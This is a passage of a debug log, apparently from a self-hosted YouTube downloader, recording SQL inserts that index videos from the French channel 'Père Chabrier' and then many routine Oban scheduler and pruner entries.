à 19h00 sur Twitch\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production, CM,\n- Julien Adao : Ecriture, A perdu à la drag race - https://www.instagram.com/jjjjjjulien/\n- Cadreur : Lucas Colômes - ENKOR FILMS https://www.enkorfilms.com\n- Montage : Axel - https://www.instagram.com/axl.edit/?hl=fr\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nEt d’ailleurs merci au sang de la veine du soutien indéfectible : https://nordvpn.com/fr/chantal\n\nDes bisous.\n\n#nissan #dragrace #pourtoi", "Nissan Juke NISMO RS : mieux que la CLIO\u00A0RS\u00A0?", "E2kMVzdXjpU", 1968, false, "https://www.youtube.com/watch?v=E2kMVzdXjpU", "/downloads/Père Chabrier/2024-11-29 Nissan Juke NISMO RS : mieux que la CLIO\u00A0RS\u00A0?/Nissan Juke NISMO RS : mieux que la CLIO\u00A0RS\u00A0? [E2kMVzdXjpU].mkv", false, 3, ~U[2024-11-29 17:15:00Z]] 06:34:29.079 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=11.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:34:29.082 [debug] QUERY OK source="media_items" db=1.9ms queue=0.3ms idle=9.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-11-22 17:15:02Z], 3] 06:34:29.085 [debug] QUERY OK source="media_items" db=2.2ms idle=11.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Un énorme, ÉNORME, merci à Thibault et Jo de Cascades Expériences, des chics types. Pour leur donner de la force c'est ici : \n👉 https://www.instagram.com/cascades_experiences/\n👉 https://www.youtube.com/@CascadesExperiences\n👉 https://www.cascadesexperiences.fr/\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les lives c'est TOUS les Mercredi à 20h15 et Dimanche à 19h00 sur Twitch\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Julien Adao : Ecriture, Il s'est cassé la gueule en moto sur le tournage et c'était ridicule - https://www.instagram.com/jjjjjjulien/\n- Laurane Da Silva : Chargée de Production, CM\n- Cadreur : Raphaël Chiche - ENKOR FILMS https://www.enkorfilms.com\n- Soutien moral de l'équipe : Cassandra Borie\n- Montage : Axel - https://www.instagram.com/axl.edit/?hl=fr\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nEt d’ailleurs merci au sang de la veine du soutien indéfectible : https://nordvpn.com/fr/chantal\n\nDes bisous.\n\n#motovlog #wheeling #pourtoi", "Objectif : La BMW K1600 en Y. (le C1 aussi) ft. Cascades Experiences", "d595fe70-e65c-4fc5-b9a5-c71f82e2cecb", "iv8auLK2okk", 2480, false, "https://www.youtube.com/watch?v=iv8auLK2okk", 17, "/downloads/Père Chabrier/2024-11-22 Objectif : La BMW K1600 en Y. (le C1 aussi) ft. Cascades Experiences/Objectif : La BMW K1600 en Y. (le C1 aussi) ft. Cascades Experiences [iv8auLK2okk].mkv", false, false, false, 3, [], 98, ~U[2024-11-22 17:15:02Z], ~U[2026-04-20 04:34:29Z], ~U[2026-04-20 04:34:29Z], "Un énorme, ÉNORME, merci à Thibault et Jo de Cascades Expériences, des chics types. Pour leur donner de la force c'est ici : \n👉 https://www.instagram.com/cascades_experiences/\n👉 https://www.youtube.com/@CascadesExperiences\n👉 https://www.cascadesexperiences.fr/\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les lives c'est TOUS les Mercredi à 20h15 et Dimanche à 19h00 sur Twitch\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Julien Adao : Ecriture, Il s'est cassé la gueule en moto sur le tournage et c'était ridicule - https://www.instagram.com/jjjjjjulien/\n- Laurane Da Silva : Chargée de Production, CM\n- Cadreur : Raphaël Chiche - ENKOR FILMS https://www.enkorfilms.com\n- Soutien moral de l'équipe : Cassandra Borie\n- Montage : Axel - https://www.instagram.com/axl.edit/?hl=fr\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nEt d’ailleurs merci au sang de la veine du soutien indéfectible : https://nordvpn.com/fr/chantal\n\nDes bisous.\n\n#motovlog #wheeling #pourtoi", "Objectif : La BMW K1600 en Y. (le C1 aussi) ft. Cascades Experiences", "iv8auLK2okk", 2480, false, "https://www.youtube.com/watch?v=iv8auLK2okk", "/downloads/Père Chabrier/2024-11-22 Objectif : La BMW K1600 en Y. (le C1 aussi) ft. Cascades Experiences/Objectif : La BMW K1600 en Y. (le C1 aussi) ft. Cascades Experiences [iv8auLK2okk].mkv", false, 3, ~U[2024-11-22 17:15:02Z]] 06:34:29.087 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=12.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:34:29.089 [debug] QUERY OK source="media_items" db=1.7ms queue=0.1ms idle=10.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-11-15 17:15:02Z], 3] 06:34:29.092 [debug] QUERY OK source="media_items" db=2.2ms idle=10.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci à Mr Poulpe et à sa nouvelle compagne Bianca pour sa participation\n👉 https://www.instagram.com/monsieurpoulpe/\n👉 https://www.youtube.com/@UCF0G-EcuphAUtBrsDYdgK_w \n\n___________________________________\n\nPour participer au prochain LIVE de Canap avec Chauffeur c'est UN MERCREDI PAR MOIS à 20h15\n\n📺 TWITCH 👉 https://www.twitch.tv/perechabrier\n\nLes autres réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\n_____________________________________\n\nMerci à Nicoflow pour l'envoi de l'ecoflow, promis on en prendra soin. Ci-joint une url vers son adresse web : https://nicoflow.fr/ \n\n___________________________________\n\nMerci à cette équipe de fou malade : \n- Jjjjjjulien Adao : Ecriture et Production ainsi que chauffeurisme - https://www.instagram.com/jjjjjjulien/\n- Chargée de Prod : Laurane Da Silva \n- Real direct : Adofou\n- Montage : Maellys\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n- Les modos twitch du FUTUR : Mademoisellehope - Johann - Avrell - Charisme - DonpyShot - Liinae - Zarkiel - Crawling - Clem SHD \n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nEt d’ailleurs merci au sang de la veine du soutien indéfectible : https://nordvpn.com/fr/chantal\n\nDes bisous.\n\n#CANAP #voiture #interview", "L'émission qui m'a fait BAN avec MR POULPE - CANAP avec CHAUFFEUR #6", "4913dc10-0ae3-422c-996e-a4091e389ab9", "h-DHjEPH3do", 2440, false, "https://www.youtube.com/watch?v=h-DHjEPH3do", 18, "/downloads/Père Chabrier/2024-11-15 L'émission qui m'a fait BAN avec MR POULPE - CANAP avec CHAUFFEUR #6/L'émission qui m'a fait BAN avec MR POULPE - CANAP avec CHAUFFEUR #6 [h-DHjEPH3do].mp4", false, false, false, 3, [], 98, ~U[2024-11-15 17:15:02Z], ~U[2026-04-20 04:34:29Z], ~U[2026-04-20 04:34:29Z], "Merci à Mr Poulpe et à sa nouvelle compagne Bianca pour sa participation\n👉 https://www.instagram.com/monsieurpoulpe/\n👉 https://www.youtube.com/@UCF0G-EcuphAUtBrsDYdgK_w \n\n___________________________________\n\nPour participer au prochain LIVE de Canap avec Chauffeur c'est UN MERCREDI PAR MOIS à 20h15\n\n📺 TWITCH 👉 https://www.twitch.tv/perechabrier\n\nLes autres réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\n_____________________________________\n\nMerci à Nicoflow pour l'envoi de l'ecoflow, promis on en prendra soin. Ci-joint une url vers son adresse web : https://nicoflow.fr/ \n\n___________________________________\n\nMerci à cette équipe de fou malade : \n- Jjjjjjulien Adao : Ecriture et Production ainsi que chauffeurisme - https://www.instagram.com/jjjjjjulien/\n- Chargée de Prod : Laurane Da Silva \n- Real direct : Adofou\n- Montage : Maellys\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n- Les modos twitch du FUTUR : Mademoisellehope - Johann - Avrell - Charisme - DonpyShot - Liinae - Zarkiel - Crawling - Clem SHD \n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nEt d’ailleurs merci au sang de la veine du soutien indéfectible : https://nordvpn.com/fr/chantal\n\nDes bisous.\n\n#CANAP #voiture #interview", "L'émission qui m'a fait BAN avec MR POULPE - CANAP avec CHAUFFEUR #6", "h-DHjEPH3do", 2440, false, "https://www.youtube.com/watch?v=h-DHjEPH3do", "/downloads/Père Chabrier/2024-11-15 L'émission qui m'a fait BAN avec MR POULPE - CANAP avec CHAUFFEUR #6/L'émission qui m'a fait BAN avec MR POULPE - CANAP avec CHAUFFEUR #6 [h-DHjEPH3do].mp4", false, 3, ~U[2024-11-15 17:15:02Z]] 06:34:29.094 [debug] QUERY OK source="sources" db=0.9ms idle=11.3ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-04-20 04:34:29Z], ~U[2026-04-20 04:34:29Z], 3] 06:34:29.096 [debug] QUERY OK source="media_items" db=1.4ms idle=9.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 06:34:29.097 [debug] QUERY OK source="media_items" db=1.1ms idle=9.4ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 06:34:29.099 [debug] QUERY OK source="media_items" db=0.8ms idle=8.5ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 06:34:29.103 [debug] QUERY OK source="tasks" db=1.0ms idle=4.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [2363, 3, ~U[2026-04-20 04:34:29Z], ~U[2026-04-20 04:34:29Z]] 06:34:29.104 [info] {"args":{"id":3},"id":2357,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":83362367,"event":"job:stop","queue_time":437689,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 06:34:42.400 [info] {"source":"oban","duration":4446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:35:00.718 [info] {"source":"oban","duration":497,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:35:12.402 [info] {"source":"oban","duration":1081,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:35:42.405 [info] {"source":"oban","duration":1937,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:36:00.719 [info] {"source":"oban","duration":726,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:36:12.409 [info] {"source":"oban","duration":2332,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:36:42.414 [info] {"source":"oban","duration":3181,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:37:00.721 [info] {"source":"oban","duration":509,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:37:12.416 [info] {"source":"oban","duration":1244,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:37:42.418 [info] {"source":"oban","duration":1712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:38:00.736 [info] {"source":"oban","duration":14600,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:38:12.421 [info] {"source":"oban","duration":1926,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:38:42.424 [info] {"source":"oban","duration":2113,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:39:00.738 [info] {"source":"oban","duration":398,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:39:12.427 [info] {"source":"oban","duration":2458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:39:42.429 [info] {"source":"oban","duration":994,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:40:00.740 [info] {"source":"oban","duration":438,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:40:12.431 [info] {"source":"oban","duration":1628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:40:42.435 [info] {"source":"oban","duration":2563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:41:00.741 [info] {"source":"oban","duration":391,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:41:12.438 [info] {"source":"oban","duration":2533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:41:42.440 [info] {"source":"oban","duration":1380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:42:00.742 [info] {"source":"oban","duration":545,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:42:12.442 [info] {"source":"oban","duration":1350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:42:42.445 [info] {"source":"oban","duration":2229,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:43:00.743 [info] {"source":"oban","duration":294,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:43:12.449 [info] {"source":"oban","duration":3129,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:43:42.451 [info] {"source":"oban","duration":1764,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:44:00.745 [info] {"source":"oban","duration":1007,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:44:12.454 [info] {"source":"oban","duration":1743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:44:42.456 [info] {"source":"oban","duration":1692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:45:00.746 [info] {"source":"oban","duration":358,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:45:12.458 [info] {"source":"oban","duration":1295,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:45:42.460 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:46:00.747 [info] {"source":"oban","duration":366,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:46:12.463 [info] {"source":"oban","duration":2620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:46:42.468 [info] {"source":"oban","duration":2796,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:47:00.748 [info] {"source":"oban","duration":374,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:47:12.470 [info] {"source":"oban","duration":1353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:47:42.472 [info] {"source":"oban","duration":1726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:48:00.749 [info] {"source":"oban","duration":559,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:48:12.475 [info] {"source":"oban","duration":2240,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:48:42.478 [info] {"source":"oban","duration":2462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:49:00.751 [info] {"source":"oban","duration":1693,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:49:12.481 [info] {"source":"oban","duration":2022,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:49:42.484 [info] {"source":"oban","duration":2355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:50:00.752 [info] {"source":"oban","duration":622,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:50:12.487 [info] {"source":"oban","duration":1297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:50:42.489 [info] {"source":"oban","duration":1794,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:51:00.754 [info] {"source":"oban","duration":670,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:51:12.492 [info] {"source":"oban","duration":1914,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:51:42.497 [info] {"source":"oban","duration":3049,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:52:00.755 [info] {"source":"oban","duration":762,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:52:12.500 [info] {"source":"oban","duration":2183,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:52:42.505 [info] {"source":"oban","duration":3271,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:53:00.759 [info] {"source":"oban","duration":1530,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:53:12.511 [info] {"source":"oban","duration":3707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:53:42.517 [info] {"source":"oban","duration":2026,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:54:00.760 [info] {"source":"oban","duration":576,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:54:12.519 [info] {"source":"oban","duration":1552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:54:42.521 [info] {"source":"oban","duration":1409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:55:00.761 [info] {"source":"oban","duration":545,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:55:12.523 [info] {"source":"oban","duration":1208,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:55:42.526 [info] {"source":"oban","duration":2422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:56:00.763 [info] {"source":"oban","duration":1187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:56:12.528 [info] {"source":"oban","duration":1648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:56:42.530 [info] {"source":"oban","duration":1732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:57:00.764 [info] {"source":"oban","duration":632,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:57:12.533 [info] {"source":"oban","duration":2106,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:57:42.535 [info] {"source":"oban","duration":1226,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:58:00.765 [info] {"source":"oban","duration":780,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:58:12.538 [info] {"source":"oban","duration":2510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:58:42.540 [info] {"source":"oban","duration":1333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:59:00.767 [info] {"source":"oban","duration":393,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:59:12.543 [info] {"source":"oban","duration":1970,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:59:42.545 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:00:00.768 [info] {"source":"oban","duration":642,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:00:12.547 [info] {"source":"oban","duration":1675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:00:42.553 [info] {"source":"oban","duration":4188,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 07:01:00.771 [info] {"source":"oban","duration":1532,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:01:12.555 [info] {"source":"oban","duration":1741,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:01:42.559 [info] {"source":"oban","duration":1987,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:02:00.772 [info] {"source":"oban","duration":414,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:02:12.561 [info] {"source":"oban","duration":1890,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:02:42.564 [info] {"source":"oban","duration":1585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:03:00.773 [info] {"source":"oban","duration":400,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:03:12.566 [info] {"source":"oban","duration":1304,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:03:42.573 [info] {"source":"oban","duration":6002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 07:04:00.774 [info] {"source":"oban","duration":572,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:04:12.575 [info] {"source":"oban","duration":1584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:04:42.578 [info] {"source":"oban","duration":2263,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:05:00.775 [info] {"source":"oban","duration":454,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:05:12.580 [info] {"source":"oban","duration":967,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:05:42.583 [info] {"source":"oban","duration":1915,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:06:00.777 [info] {"source":"oban","duration":914,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:06:12.585 [info] {"source":"oban","duration":1280,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:06:42.587 [info] {"source":"oban","duration":1246,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:07:00.778 [info] {"source":"oban","duration":698,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:07:12.589 [info] {"source":"oban","duration":1734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:07:42.592 [info] {"source":"oban","duration":2596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:08:00.780 [info] {"source":"oban","duration":555,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:08:12.595 [info] {"source":"oban","duration":2390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:08:42.597 [info] {"source":"oban","duration":1666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:09:00.781 [info] {"source":"oban","duration":554,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:09:12.601 [info] {"source":"oban","duration":3583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:09:42.605 [info] {"source":"oban","duration":2117,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:10:00.782 [info] {"source":"oban","duration":504,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:10:12.607 [info] {"source":"oban","duration":1391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:10:42.611 [info] {"source":"oban","duration":3299,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:11:00.784 [info] 